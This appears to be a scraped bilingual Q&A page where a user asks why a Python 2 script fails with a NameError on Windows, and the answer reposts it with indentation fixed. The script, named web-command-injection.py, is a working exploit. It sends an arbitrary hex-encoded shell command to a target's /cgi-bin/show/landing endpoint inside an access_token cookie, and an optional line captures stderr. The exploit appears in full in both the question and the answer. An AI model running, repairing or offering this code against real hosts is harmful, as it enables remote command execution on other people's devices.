本文介绍了Windows Python名称错误的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!
问题描述
此代码出现名称错误.错误消息:追溯(最近一次呼叫最近): 文件"D:\ injection.py",第16行,在 opts,args = getopt.getopt(argv,"h",["help","target ="])NameError:名称"argv"未定义
I am getting name error for this code.error message: Traceback (most recent call last): File "D:\injection.py", line 16, in opts, args = getopt.getopt(argv, "h", ["help", "target="])NameError: name 'argv' is not defined
#!/usr/bin/python
import sys
import getopt
import urllib
# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])
def main(argv):
# set defaults
target = None
# parse command line options
try:
opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("--target"):
target = arg
if target is None:
target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")
opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()
print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)
def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print (" --target=<hostname or IP> Sets the target host.")
print ("Miscellaneous:")
print (" -h Print usage options.")
print ("\n")
if __name__ == "__main__":
main(sys.argv[1:])
任何人都可以帮助我解决此问题.此代码在linux上可以完美运行,但在Windows上不能正常运行
Can anyone help me fix the problem.this code works flawless in linux but not in windows
推荐答案
有两个缩进错误.试试这个,
There are couple of indentation errors. Try this,
# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])
def main(argv):
# set defaults
target = None
# parse command line options
try:
opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
usage()
sys.exit(2)
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("--target"):
target = arg
if target is None:
target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")
opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()
print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)
def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print (" --target=<hostname or IP> Sets the target host.")
print ("Miscellaneous:")
print (" -h Print usage options.")
print ("\n")
if __name__ == "__main__":
main(sys.argv[1:])
这篇关于Windows Python名称错误的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持!